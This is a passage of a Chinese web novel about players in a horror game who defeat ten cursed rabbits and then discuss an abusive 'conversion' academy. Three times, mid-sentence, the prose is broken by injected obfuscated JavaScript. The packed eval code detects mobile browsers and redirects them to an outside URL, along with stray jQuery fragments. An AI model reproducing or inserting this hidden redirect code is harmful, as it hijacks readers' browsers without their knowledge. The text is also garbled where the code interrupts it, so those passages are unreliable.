大地突然震颤,血池中的液体如沸腾般翻滚。 “咚——” 一只青灰色的巨爪破土而出,尖锐的指甲缝里塞满腐肉和蛆虫。紧接着,地面如同脆弱的薄纸,被一只又一只腐烂的兔爪撕裂。 死兔子最先爬出,它的尸体已经被傀儡线彻底改造,胸口缝合线处鼓起一颗巨大的肉瘤,瘤体表面浮现出痛苦的人脸。每爬一步,就有黑血从缝合线中渗出,在地上腐蚀出嘶嘶作响的坑洞。 抬尸兔紧随其后,它的十指延伸出十米长的傀儡线,每一根都缠绕着一具残缺的动物尸骸。它的脊椎扭曲成诡异的S形,下颌骨完全脱落,用黑线悬吊在胸前,随着移动“咔咔”作响。 掘墓兔的状态最惨,它的铁锹被毁,双手只剩下焦黑的骨爪,两个骷髅眼睛里爬满血池中的水蛭。它的气息却最狂暴,每走一步都在地面留下燃烧的黑色脚印。 最后出现的是埋尸兔,它根本没有完整形态,而是由无数碎尸拼接而成:孩童的手臂、野兽的腿骨、人类的头颅,全部用坟土黏合在一起,浑身散发着令人作呕的尸臭。它没有脸,只有一团蠕动的蚯蚓堆积在脖颈上,组成一张模糊的“面孔”。 四只腐蚀兔同时发出非人的嚎叫,声音叠加在一起,震得周围树木纷纷爆裂。 “系统你他妈要命就直说!”随歌“呸呸呸”吐出嘴里血雨,将湿透的黄发撩到脑后。 “它是真不想让我们活。”景明垂冷冷道。 血雨一直下着,初与序大脑飞速转动,一个计划形成:“掘墓兔的铁锹已毁,它造不出土墙。先引开他们四个!” 景明垂率先反应过来,她猛地扔出毒液瓶。随着“砰”地一声,紫黑色的毒雾在兔群中炸开,死兔和抬尸兔瞬间被激怒,腐烂的眼球锁定她的身影。她转身奔跑,故意踩断枯枝,发出清脆的声响。 随歌的竹扇在暴雨中划开一道完整的弧光,飓风卷着血雨,化作无数锋利的雨刃,斩向掘墓兔和埋尸兔的脸。 “喂——你们四只丑兔子!有本事你们来追我们俩啊!”他挑衅地笑着,扇面一翻,身形在林间闪烁穿梭。 四只腐尸兔同时嚎叫一声,震得四人耳膜疼痛。它们被成功分割,死兔和抬尸兔追着景明垂冲进密林,而掘墓兔和埋尸兔则嘶吼着扑向随歌。 “快走!”初与序拉了一下冬逢初,示意他跟着自己走。 33.十只兔子 初与序和冬逢初没有浪费一秒,他们冲向早前发现的沼泽泥区,那里地表看似坚固,实则下方是吞噬一切的流沙。 初与序半跪在沼泽边缘,骨刃狠狠刺入湿软的土层。刀刃上的裂纹迸发出丝丝黑气,像无数细小的蛇钻入地底,腐蚀着土壤结构。 她咬牙发力,刃下的泥土发出“咕噜咕噜”的声响,冒出带着腐臭的黑泡,不出意外这是埋藏在沼泽下的尸气被释放了出来。 冬逢初的身影在雨幕中穿梭,他手指间夹着的银针闪着寒光,每一针都精准钉入周围的树干。针尾缠绕着从六兔子傀儡架上回收的诅咒黑线,这些线在雨幕中绷得笔直,像一张无形的蛛网,将这片区域圈成死亡牢笼。 “东侧三米,地层最薄。”冬逢初的声音混着雨声传来。 初与序立刻移动过去,骨刃横向一划。 地表突然塌陷,露出下方翻滚的泥潭,那竟然混合了无数动物的腐尸,表面浮着一层油亮的黑膜,偶尔破裂时,会露出底下森白的骨渣。 “好了。”初与序在自己口袋里翻了翻,拿出早已准备好的“诱饵”,这是从七兔子矿洞顺来的骸骨碎片,上面还沾着掘墓兔的腐液气息。 “你是怎么顺走这些很有用的东西的?”冬逢初忍不住问。 “从小养成的习惯吧,看到能保命的东西就带走。”初与序边说边将骸骨绑在一根极细的傀儡线上,悬在陷阱正上方,线另一头系在冬逢初的银针上,“比如我快要饿死,看到路边有别人不要的馒头,肯定顺手拿走。” 这么说着,她又从怀中掏出一个小瓶,里面装着血池里舀来的腐蚀液,液体倾倒的瞬间,陷阱边缘的泥土“嘶嘶”作响,塌陷范围又扩大了半米。 现在,整个陷阱看上去就像是一片普通的积水洼,只有表面偶尔浮起的尸油,暗示着下方的致命杀机。 两人退到安全距离,骨刃插在地上作为支点。她扯下一段衣角布料,缠绕在刃柄上,这是触发机关。 只要埋尸兔踏入陷阱区,她拉动骨刃,就会同时触发机关。到那时,傀儡线绊索会收紧,限制埋尸兔行动。诱饵坠入泥潭,吸引目标,而腐蚀液彻底瓦解地层。 冬逢初的银针则负责最后的补刀,当目标陷入泥潭时,那些钉在树上的针会如暴雨般射向它的眼睛,确保它无法挣脱。一切就绪时,远处传来随歌奔跑的脚步声。 初与序擦去脸上血雨,看向冬逢初:“你左我右。” 冬逢初点头,两人同时隐入沼泽两侧的树影中。几秒后,地面开始剧烈震动,初与序伸手扶住大树,才勉强站稳。 埋尸兔来了。 它庞大的身躯撞开最后一片灌木,蚯蚓组成的“脸”在暴雨中扭曲蠕动,散发着令人窒息的腐臭,它上身的身躯由无数碎石拼凑而成,全部用坟土黏合在一起,随着它的动作掉落碎肉。 紧接着,它停在了陷阱边缘。 初与序隐在树后,攥住骨刃的手指尖发白。雨水顺着她的睫毛滴落,混着血水顺着脸颊滑落。 埋尸兔的“脸”突然转向她所在的方向,蚯蚓疯狂扭动,仿佛嗅到了生者的气息。就在他抬脚的下一秒,冬逢初立刻抬手,掷出银针。 “嗖!”一声,银针精准钉入它左肩的缝合线,针尾的傀儡线猛地绷直,埋尸兔被带得踉跄一步,腐烂的脚掌终于踏入死亡泥沼的边缘! 初与序暴起发力,骨刃狠狠一挑,缠绕在刃柄上的布条瞬间扯动机关! 三道杀机同时爆发:傀儡绊索从四面八方弹起,缠住埋尸兔的四肢。那些从六兔子工坊回收的黑线,此刻成了最致命的枷锁。悬吊的骸骨诱饵坠入泥潭,“咕咚”一声闷响,埋尸兔本能地扑向同类骸骨,整个上半身探入陷阱范围。而腐蚀液彻底溶解地层,方圆几米的地面如同巨兽张开的嘴,轰然塌陷! “吼——!” 埋尸兔的咆哮瞬间变成惊恐的呜咽,它的身体在泥沼中疯狂挣扎,但越是挣扎,下沉得越快。转眼间,浓稠的黑泥已经没到它的胸口,那些拼凑的尸块开始分崩离析。 冬逢初从树顶跃下,指间剩余的五根银针同时射出,全部钉入埋尸兔“脸部”的蚯蚓团。 腥臭的汁液爆开,埋尸兔彻底失去方向感,双臂胡乱拍打,反而加速了下沉。 初与序没有给它任何机会,冲向一旁早已标记好的枯树,骨刃横斩。随着“咔嚓”一声,需要三人合抱的巨木轰然倒下,重重砸在埋尸兔即将没顶的泥潭上。树干像天然的墓碑,将埋尸兔和最后的挣扎声一同压入地底。 泥沼表面“咕噜咕噜”冒出几个气泡,归于平静。 下一刻,血雨骤停,森林里弥漫着潮湿的雾气。天边泛起一抹苍白的微光,像是被水稀释过的血,渐渐晕染开来。 童谣声再次响起: “悲鸣喊叫早已不在,太阳慢慢爬了出来……” 童谣声幽幽飘荡,不再是孩童的嬉笑,而像是一个苍老妇人沙哑的低吟。阳光穿透云层,落在四人身上,却没有半分暖意,反而像一层薄薄的霜,覆在皮肤上,冷得刺骨。 随歌随手揉乱自己湿漉漉的黄毛,转头看向初与序,被吓了一跳:“我靠!初与序?你脸色好差!” 初与序靠在树干上,眼皮半垂,呼吸比平时急促。她的嘴唇泛着不正常的灰白,整个人像是被抽走了大半,连骨刃都只是松松地握在手里。 景明垂走来,伸手一探她的额头,忽然皱眉:“你发烧了。” 她知道,初与序的身体向来不好。当年住院的日子里,她经常三天两头地发烧,小病小痛消磨她的精气神,而最凶险的那场大病差点要了她的命,把整个病区的医生护士吓了一跳。 “没事。”初与序扯了扯嘴角,但她的声音沙哑得几乎听不清,呼吸间带着灼热的气息,显然烧得不轻。 冬逢初指尖轻轻搭上她的手腕:“脉象......很乱,是傀儡线的毒没清干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15984810|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净,加上淋了血雨,伤口感染了。”他的声音越来越犹豫,似乎又发现了什么,但只是深深看了初与序一眼,一句话都没说。 随歌展开竹扇:“得尽快找地方处理,否则……” 他的话没说完,童谣后面两句幽幽响起: “九兔子坐在地上哭起来,十兔子问它为什么哭……” 初与序突然弯下腰咳嗽起来,指缝间渗出一丝黑血。她缓了缓,抬头看向三人:“快没时间了。” 天边的太阳越升越高,可阳光越来越冷。景明垂拽起初与序的手臂搭在自己肩上:“先找个地方休息一下再说。” 冬逢初已经快步走到前面探路,随歌断后。森林深处隐约传来低低的啜泣声,像是谁坐在阴影里,捂着脸哭得伤心欲绝。 岩洞内,火光微弱。 初与序靠在冰冷的石壁上,闭着眼,高烧让她的思绪时而混沌,时而异常清晰。耳边是同伴们压低的交谈声,柴火偶尔爆开的噼啪声,还有那若有若无的啜泣。 九兔子在哭。 她的大脑被分割成两半,一半在灼烧,听着九兔子的哭声。另一半却异常冷静地拼凑着线索,分析着现在的局势。 第一天,大兔子被毒杀,二兔子误诊,三兔子供药,四兔子熬毒。第二天,五兔子被埋,六兔子抬尸,七兔子掘坟,八兔子封土。 每一个环节,都按照顺序进行,完美地融合在一起。而推动这一切的,是十兔子。 洞外的啜泣声忽然变得清晰了一瞬,又飘远。初与序的睫毛颤了颤,没有睁眼。 九兔子为什么哭? 记忆碎片闪回,熬药屋里账本上的“验药”,巫医笔记里的“十兔子特供”,排列整齐的墓碑…… 是谋杀。 所有兔子都是被十兔子杀死的亡魂,而九兔子是唯一的见证者。它哭的不是五兔子,而是所有被欺骗、被利用、被困在童谣里的亡魂。 不过,十只兔子,每一只都很厉害,单凭十兔子自身的能力,是做不到把九只兔子一只只杀死的。但凶手仅仅只有十兔子一位,唯一的可能便是:十兔子根本不是在活着的时候杀它们,而是在死后用亡魂的力量动手。 想让这一切终结,需要…… “咳,咳咳…”初与序忽然咳嗽起来,三人立刻看向她。她睁开眼,瞳孔因高热而微微扩散,右眼灰蒙蒙的没有光彩:“十兔子不仅仅是幕后黑手。” 洞外的啜泣声戛然而止,初与序顿了顿,继续道:“它就是第一个死者,所以童谣才从‘大兔子病了’开始,所以它才能操控其他亡魂。” 远处传来树枝断裂的声音,像是什么巨大的东西正在逼近。 初与序撑着石壁站起来,发烧让她的动作有些迟缓:“该去找十兔子了。” 火堆的光映在岩壁上,投下四人绷紧的影子。而洞外,血月和太阳一同升起,在东西各方。这一次,月轮中央浮现一只巨大的兔形阴影。 34.十只兔子 森林尽头,一棵枯死的巨树扭曲着刺向天空,树干上布满干涸的血痂。树冠之上,“血月”低垂,近得几乎触手可及。但那并不是真正名义上的月亮,而是一团蠕动的、猩红的肉瘤,表面布满血管般的纹路,正随着呼吸般的节奏缓缓脉动。 “十兔子的巢穴?”冬逢初犹豫着开口。 四人站在巨树之下,抬头望向那恐怖的“血月”,月光如浓稠的血浆,将周围的一切染成暗红色。树干底部,一个漆黑的树洞大张着,洞内传来细微的、指甲刮擦木头的声响。 “它在里面。”景明垂低声说。 冬逢初的银针在指间泛着寒光:“九兔子的哭声应该是从树顶传来的。” 抬头望去,血月的边缘,隐约可见一个瘦小的影子蜷缩着,肩膀不断抖动。那是九兔子,它背对着众人,哭声细弱如蚊,却让所有人的心脏像被无形的手攥紧。 随歌站在最前面:“现在上去不?我可以忍痛把自己的草莓牛奶分给九兔子,让它别哭…只能分一瓶,我自己还要喝。” “……”初与序摇头,骨刃指向树洞:“先解决十兔子。” 树洞深处,传来一声低笑。那笑声像是无数人同时发出的回声,重叠着、扭曲着,最后化作一句沙哑的轻语:“你们终于…找到我了。” 树顶的黑暗中缓缓亮起一双血红的眼睛。一个庞大的黑影缓缓爬出,十兔子终于现身。 但它根本不是兔子。 这是一只畸形的人形怪物,身躯由无数腐烂的兔尸拼接而成,每一块皮毛下都鼓动着扭曲的面孔。它的头颅是一颗干瘪的兔头标本,玻璃眼珠后却闪烁着明晃晃的恶意。而它的手,十根指骨延伸出半米长的黑色傀儡线,每一根都连接着其他动物兔子的尸体。 “欢迎参加……最后的游戏。”十兔子缓缓道。 与此同时,树顶传来一声凄厉的呜咽。 九兔子飘落而下,却不是瘦小的模样。它膨胀成三米高的怨灵,半透明的躯体内塞满破碎的玩偶、生锈的剪刀和小小的骸骨,没有眼睛的脸上只有两道血泪不断流淌,滴落在地面腐蚀出坑洞。 “为什么…为什么…!!”九兔子的哭声让所有人头痛。 “AUV~您丫嘛呢?!”随歌哀嚎一声,把北京口音都骂了出来。但手中动作不停,展开扇子,“这怎么打儿啊?!” “打感情牌。”初与序偏头咳出一口血,骨刃横在身前,目光死死盯着步步逼近的十兔子:“先让九兔子解脱,瞎编乱套怎么样都行。” 没有时间犹豫了,冬逢初和随歌对视一眼:“收到!” 初与序冲向前,骨刃与十兔子的傀儡线狠狠相撞,火花四溅。她的高烧让动作慢了半拍,一根黑线擦过她手背,顿时撕开一道血痕。 十兔子的注意力果然被她吸引,它裂开那张缝合的嘴,露出尖牙:“你比大兔子还烦……” 另一边,景明垂已经绕到十兔子背后,手中捡来的树枝狠狠刺向它后颈的缝合线。十兔子头也不回,一根傀儡线突然从肩胛骨刺出,直取她咽喉。 她的树枝及时格挡,黑线擦着她脖子划过,差点取走她的命。 两人一左一右,以不要命的攻势缠住十兔子。骨刃与树枝在空气中划出寒光,逼得十兔子暂时无法分神他顾。 冬逢初快步走向蜷缩的九兔子怨灵,声音温柔,像在…哄孩子:“五兔子没有抛弃你,它临走时,还给你留了礼物。” 九兔子的血泪微微一顿。 “…五兔子给你托梦啦?”随歌凑到冬逢初耳边忍不住问。 “瞎编的,你别管。”冬逢初从怀中摸出一颗玻璃球(其实是初与序在四兔子的熬药屋里顺手拿来的),他半跪下来,将玻璃球轻轻放在地上,推向九兔子: “它…给我托梦,说‘替我保护好这个’。” 九兔子的怨灵颤抖了一下,雾气般的爪子缓缓伸向玻璃球。 “其他兔子也很想你。”随歌立刻接上,睁眼说瞎话,语气真挚得连自己都快信了,“尤其是七兔子,它挖坑的时候,总念叨‘要是小九在,肯定比我挖得快’……” 九兔子的哭声渐渐低了,血泪却流得更凶。它怀里的那些破碎的玩偶开始“咔哒咔哒”颤动,像是在回应什么。 十兔子突然暴怒:“谎言!它们早就……” “闭嘴!”初与序的骨刃狠狠劈在它嘴上,硬生生把后半句砍了回去。景明垂趁机一个滑铲,树枝刺入它膝盖的缝合处,十兔子踉跄着单膝跪地。 冬逢初见状,立刻加大忽悠力度。他指向十兔子:“是它骗了你,它杀了大家,还让你以为被抛弃了。” 九兔子的怨灵骤然膨胀,体内的骸骨“咔咔”重组,竟隐约拼出了一个指向十兔子的手势。(其实是巧合,随机拼凑的骨渣。但为什么这么巧合,不能用科学来解释。) 随歌立刻煽风点火:“你看你看,五兔子的骨头也在指认它!” 九兔子突然发出一声撕心裂肺的尖啸,半透明的躯体迸发出刺目白光。那些被它禁锢多年的玩偶和骸骨纷纷坠落,而在它心口的位置处,浮现出一张泛黄的合照。 照片里,十只正常的小兔子围着野餐布,九兔子正开心地抱着五兔子的胳膊,而角落里的十兔子,手里藏着一把刀。 “不……不可能!”十兔子想扑过去,“这照片早就被撕碎腐烂了!” 但已经来不及了,九兔子的怨灵在白光中渐渐消散,最后那一刻,它轻轻抱了抱照片,对四人做了个“谢谢”的口型。 就在九兔子的怨灵即将消散的瞬间,随歌突然发现它坠落的那颗血泪没有消失,而是在血月光中凝结成一颗冰蓝色水晶。那是被真相净化的极致悲伤,不出意外也是唯一能刺穿十兔子伪装的物件。 “抱歉,借你最后一样东西!”随歌立刻收起那颗水晶,他的指尖瞬间感受到刺骨的寒冷,皮肤结霜。 “咯咯咯…你们…毁了一切…” 十兔子的声音从四面八方挤压过来,它的身躯在崩溃中扭曲,却仍不肯倒下。突然,它猛地仰头,发出一声尖厉的嘶吼: “那就一起死吧!!!” 整座幽暗森林震颤起来,无数墓碑拔地而起,上面刻着的童谣词句渗出血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15984811|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,每一个字都扭曲着脱离石面,化作锋利的血刃,在空气中发出刺耳的嗡鸣。 初与序刚稳住身形,一块刻着“抬”字的墓碑就擦着她手背飞过,带起一串血珠。她反手用骨刃格挡,却被另一块墓碑狠狠撞在腰腹,整个人硬生生砸到石壁上。 景明垂在墓碑雨中穿梭,玻璃碎片划破掌心。她突然跃起,踩着飞旋的墓碑借力,直扑向那块最高的血月墓碑,碑面正倒映着十兔子扭曲的身影。 另外几人瞬间明白了她要干什么,初与序用尽全力将骨刃掷向空中,冬逢初踹碎迎面飞来的三块小墓碑,断裂骨刺扎进小腿也浑然不觉。他抓起地上一根傀儡线残骸,甩向空中的骨刃! 线刃相撞,竟为景明垂清出一条短暂的通路。 十兔子察觉到威胁,腐烂的爪子猛地插入自己胸口,扯出一把由童谣文字凝聚的血剑,朝着景明垂掷去! “小心!” 随歌的竹扇突然炸开一道清光,飓风将血剑吹偏三分。剑锋擦着景明垂的发梢掠过,削断她几缕发丝。 而此刻,景明垂已经将染血的巫医镜片,对准了血月碑上的倒影,高声喝道: “定魂!” 镜面折射的血月光化作赤红锁链,从碑面暴射而出,瞬间缠住了十兔子的四肢脖颈。它疯狂挣扎,每条傀儡线都迸发出刺目火花,却无法挣脱禁锢,它发出了刺耳的尖啸。 冬逢初冲入碑林子,他手中没有武器,随手从地上抄起一截断裂的傀儡木,抡起木头,对准最近一块墓碑,全力砸下! “咔嚓!!” 墓碑正中间裂开一道狰狞的缝隙,缝隙中喷出浓稠的黑血,溅在冬逢初的半边脸上,但他脸眼睛都没眨,反手又是一记猛击! 墓碑彻底爆裂,碎石四溅,而碑底竟露出半截腐烂的兔爪,这是被十兔子活埋的亡魂残骸。兔爪抽搐抓挠,被冬逢初一脚碾碎,骨裂声清脆刺耳。 第二块墓碑“六兔子抬”已拔地而起,朝他当头砸下!他侧身闪避,石碑擦着衣角砸进土里,地面顿时裂开蛛网般的缝隙。 每当它再次浮起,冬逢初已跃上碑顶,膝盖重重跪压在碑面,双手扣住碑缘,猛地用力! 随着“轰隆”一声,石碑被他硬生生掰断,断口处爆出一团黑雾,隐约传来六兔子凄厉的惨叫。 每一块墓碑的崩毁,都让十兔子的嘶吼虚弱一分。 不远处,刻着“七兔子挖坑”的墓碑正疯狂旋转,冬逢初就地一滚,避开飞射的碎石。他翻身而起,发丝被劲风掀起,露出那双冷得像淬了冰的眼睛。 墓碑阴影已笼罩他整个人,朝他飞旋而来。 冬逢初忽然抬腿,凌空一记侧踢! 石碑在半空中炸裂,碎石如雨四溅。他收腿站定,一块锋利碑石擦着脸颊飞过,在苍白肤色上划出一道血线。黑色大衣下摆在狂风中猎猎作响,衬得他身形修长。 “哥!”随歌见他受伤,忍不住嚎了一嗓子,“保护好你的帅脸!别毁容了啊!!” 温热的血珠顺着下颌滑落,冬逢初伸出手抹去,看向下一块袭来的墓碑“八兔子埋”。 35.十只兔子(完) 随歌抬头,竹扇在掌心轻轻旋转。 风,起了。 不是狂暴的飓风,不是锋利的刃风,而是一缕极轻的、极柔的微风。竹扇的青翠扇骨莹莹生辉,扇面上流转的风纹仿佛活了过来,每一道纹路都亮起柔和的光。 九兔子那滴泪珠被风拖着,轻轻落在扇面上。 没有碎裂,没有蒸发,而是像一颗坠入湖心的露珠,在扇面上荡开一圈涟漪般的微光。 随歌垂眸,嘴角扬起一抹笑:“去吧。” 他手腕一翻,竹扇携着泪珠划破血色长空,如同一道温柔的流星,飞向初与序的位置。扇面掠过之处,血月的光芒竟被短暂地净化了一瞬,露出一丝久违的、真实的月光。 那颗承载着所有悲伤与救赎的眼泪,最终落入初与序染血的掌心。 血月炸裂,天空如同被撕裂的腐肉,露出后面无尽的虚空。十兔子的身躯在半空中扭曲膨胀,傀儡线疯狂舞动。它的胸口暴露出一颗漆黑的心脏,表面浮现出无数张痛苦嘶吼的兔脸。 “你们…杀不了我…”它的声音层层叠叠,千百个亡灵在同时尖啸,“我即童谣…童谣…永世不灭…!” 初与序在高空中下坠,大衣衣摆被狂风撕扯。她手中死死攥着那颗九兔子的眼泪,净化水晶在她掌心迸发出刺目的白光,与周遭的血色地狱形成极致反差。 她猛地旋身,借着坠落之势将水晶对准十兔子的心窝。 十兔子的傀儡线感应到危机,骤然交织成网,朝她绞杀而来! “初与序!”随歌的喊声从下方传来。 三根银针破空而出,冬逢初掷出了最后武器。针尖精准击穿三根主控线,为初与序在死亡罗网撕开一道缺口! 初与序穿过缝隙,水晶距离心脏只剩半米。十兔子的肋骨突然炸开,化作森白骨刺向她突刺! 一根骨刺贯穿她的肩膀,雪花喷溅在苍白骨架上。她皱了下眉,却借着这股惯性加速前冲,染血的手掌终于触到那颗漆黑心脏。 “你输了。”她轻声道。 十兔子的表情凝固在难以置信的狰狞上,它的指尖距离初与序的咽喉只有一寸,却再也无法前进。 净化水晶迸发的白光如利剑捅穿地狱。第一秒,黑心脏的表面裂开纹路。第二秒,那些纹路中涌出清澈的水流,冲刷出心脏里埋藏的真相,无数记忆碎片在光芒中闪现: 十兔子蹲在草丛里,偷偷往大兔子的茶杯下毒;它用傀儡线封住二兔子的眼睛,把五兔子的尸体推进自己挖的坑…… 第三秒,白光吞没了十兔子最后的惨叫:“不……这不该是……我的童谣……!” 初与序在爆发的能量中被掀飞,模糊的视线最后看到的,是十兔子分崩离析的身体。那些缝合的石块一块块脱落,露出最核心处一具蜷缩的孩童骸骨。 水晶的净化之力席卷整个空间,幽暗森林如同被阳光照射的噩梦,开始层层褪色。血月彻底崩碎,猩红的碎片如雨坠落,却在半空中化作灰烬消散。森林发出垂死的呻吟,树木枯萎,墓碑坍塌,那些扭曲的童谣词句如燃尽的纸灰被一阵突如其来的风卷向天空。 初与序坠入温暖的白光中,有人抓住了她的手,防止她摔下高处。她站在崩塌的边缘,侧头看向身后的景明垂。冬逢初安静地整理着破损的衣袖,随歌则望向远处逐渐消散的血月。 森林的尽头,一缕真正的阳光刺破长夜,洒在四人身上。那光芒温暖而不刺眼,像是久违的黎明终于到来。 他们听见风中有谁在轻轻哼唱。 不再是那首充满血腥的童谣,而是一段温柔的歌谣,像是母亲哄睡时的低语,又像是故友重复时的轻笑。 “大兔子睡了,二兔子瞧。月光轻轻盖住它的药…” “三兔子不再去买毒草,四兔子熄了炉火悄悄…” “五兔子啊不再流浪,六兔子放下抬尸的杠…” “七兔子填平了旧坟场,八兔子撒下蒲公英的香…” “九兔子终于擦干泪光,十兔子的谎言已散场…” “森林里小小墓碑旁,长出了春日的小花啊…” 【恭喜各位玩家通关《十只兔子》】 【曾经,这里是一座充满恶毒的森林。血月永痕悬挂,墓碑爬满傀儡线,童谣在腐土下重复着死亡的轮回。十只兔子被困在永恒的噩梦里,一个接一个死去,又一遍遍复活,在怨恨与谎言中互相撕咬】 【而现在,月光褪去猩红,化作银白的薄纱,轻轻覆在森林之上。歪斜的墓碑一座接一座倒塌,裂开的缝隙中钻出嫩绿的草芽。十座小小的兔子坟茔安静地躺在月光下,坟头开出了洁白的小花,花瓣上还沾着夜露,像未擦干的眼泪】 【一切已终结,愿逝者安息】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 随歌打了个哈欠,从面板里掏出几盒草莓牛奶,随手抛给身边的队友:“终于搞定了,下次能给我们换个轻松点的副本吗?比如采蘑菇什么的。” 冬逢初接过牛奶,面上带着疲惫的笑意:“采蘑菇的副本里可能藏着吃人的菌丝。” “那也比被十只疯兔子追杀强——” 话音未落,站在旁边的初与序突然晃了晃,整个人往旁边栽倒。随歌手忙脚乱地伸手一捞,差点把牛奶盒捏爆:“我靠!我就给了个草莓牛奶,不至于感动到晕过去吧?!” 景明垂立刻伸手探上初与序滚烫的额头,脸色骤变:“什么感动?她烧的得有三十九度了!” 冬逢初已经蹲下身,撩开她被血浸透的裤管。傀儡线造成的伤口周围泛着不祥的紫黑色,毒素显然还在蔓延。 “需要血清。”他抬头看向迷雾深处,“上列车。” 景明垂想扶住初与序,初与序皱了皱眉,轻声说:“…不用扶我,我自己能走。” “别逞强啦。”随歌摸了摸鼻子,将草莓牛奶塞进夹克口袋,和冬逢初一左一右护着两人穿过迷雾。 朦胧的雾气尽头,D019次列车静静停靠。车厢门缝里漏出光,J23翘着二郎腿坐在列车长座位:“恭喜你们安全回来。” 冬逢初坐下,温声道:“麻烦开快点,初与序发烧了。” J23瞟了一眼靠在椅背上的初与序,将车门关闭:“没问题。” 列车平稳地行驶在轨道上,初与序半睁开眼,点开自己系统面板,此刻四人都受到了副本奖励: 【本次副本奖励:四十四积分。获得“九兔子的祝福”(可自动生成一个持续5秒的护盾,护盾强度与玩家精神力相关)】 【特殊成就:“谎言与救赎”纪念道具(一个破旧的布偶兔子,无实际用途)】 【恭喜您的团队成为首个全员存活并完美破解《十只兔子》副本的队伍】 【愿各位在未来的旅途中,不再被谎言束缚——系统敬上。】 “你们总积分都超过129了没?”随歌点开面板出声询问。 “131。”景明垂关闭面板。 “130。”冬逢初回答,“刚刚越线。” 初与序声音很轻:“140.5。” 随歌竖了个大拇指:“回去可以和意哥交代了,我们队伍五人都有武器。过几天等D19分配好武器或者技能,咱可以去系统处理区大厦拿。” “武器或技能,都有哪些?”景明垂问。 “除了热武器,什么都有,也有根据玩家职业来分配的。”随歌解释,“比如801的道士拿到了符纸。802住的法医拿到了刀片。不过他们俩早就互换了武器,801 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16005698|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的拿刀片,802的用符纸。” 冬逢初微微偏过头看向随歌:“玩家们可以互换武器?” 随歌手指转着扇子答道:“当然可以,武器使用权和转换权归玩家。但在永冬之城,所有玩家禁止使用武器。” 他把竹扇“唰”地展开,挡住下半张脸,只露出一双笑眼:“悄悄告诉你们,这个规定是四年前才定下的。当年意哥和他的仇人在永冬之城打了一架,差点把那人打死,系统才加了‘永冬之城禁止使用武器’和‘永冬之城禁止自相残杀’这两条规则。” “意哥还会打架?”另外三人都有些意外,江意看上去文质彬彬,不像是会打人的样子。 “咋不会了?”随歌眉毛一挑,“他打架可厉害了,只是不爱动手。四年前那次意哥真的是奔着那人命去的,三个D栋男生拉都拉不住。” 景明垂抱着胳膊靠在椅背上:“这是有多大仇值得他这么做?” 随歌面色沉了一下,语气变得犹豫:“挺大仇的,那个男的…间接害死了意哥爱人。”他看向初与序,“你第一次来竹翰学院,有没有看到操场上站我身边的男生?” 初与序回忆几秒,点头。 “就是他,他叫苏叶,是意哥对象。”随意握紧竹扇,“他是gay。” “咳咳……”景明垂刚喝下去的草莓牛奶差点喷出来,她捂嘴咳嗽。 随歌歪头:“咋了你?” 景明垂擦了下嘴角,连忙摆手:“没什么,只是有些惊讶,完全没看出来意哥的性取向。” “间接害死?”初与序皱眉,转头望着随歌,“但我第二次被医院送去竹翰学院惩罚的时候,离你毕业不到一年。” “你第二次离开竹翰学院四个月后,苏叶就被学院教官打死了。”随歌轻轻叹了口气,“不算在永冬之城的这五年,我和意哥比你们大两岁。你来竹翰学院的时候是15,我和苏叶17,苏叶死的时候也是17。” 冬逢初张张嘴,终于问出了心中的问题:“…你们说的‘竹翰学院’,到底是什么地方?” “地狱。”随歌毫不犹豫说出两个字。他顿了顿,继续说,“打着‘治同性恋、抑郁症、戒网瘾等’的名号,让全国各地的家长把孩子送进来。等家长离开,什么体罚、电击、威胁通通用上,逼学生妥协。” “竹翰学院的背后是‘新星未来’教育集团,表面是高端留学机构,实则由跨国财阀秘密控股。合作方包括某国军方实验室、顶级私人医疗集团,甚至地下人口拍卖行。” “经过我和苏叶的调查,发现校方会挑选学生改造成无个人意志的‘完美秘书’,或成为富豪的“忠诚管家”,管理家族黑账,甚至亲手处理尸体。而一部分长相精美,身体健康的,则会被定制成性偶、活体器官库,甚至人皮艺术品。” 他揉了揉黄发:“当年苏叶提议我们一起调查真相,我同意了。但是被同学告了密,就四年前和意哥打架的那个男的。苏叶觉得对不起我,挨打时帮我扛,后来发生了什么你们都知道。” 列车顿时一片寂静,没有人出声。 “然后呢?”景明垂抿了抿唇,“有学生死亡,家长不管吗?” “然后竹翰学院给了苏叶父母一大笔钱,他们流着泪撤了诉。”随歌托着下巴,“现在那地方还在呢,每月都有家长往里面送孩子。” 冬逢初想到了什么,转头看向初与序:“你…” 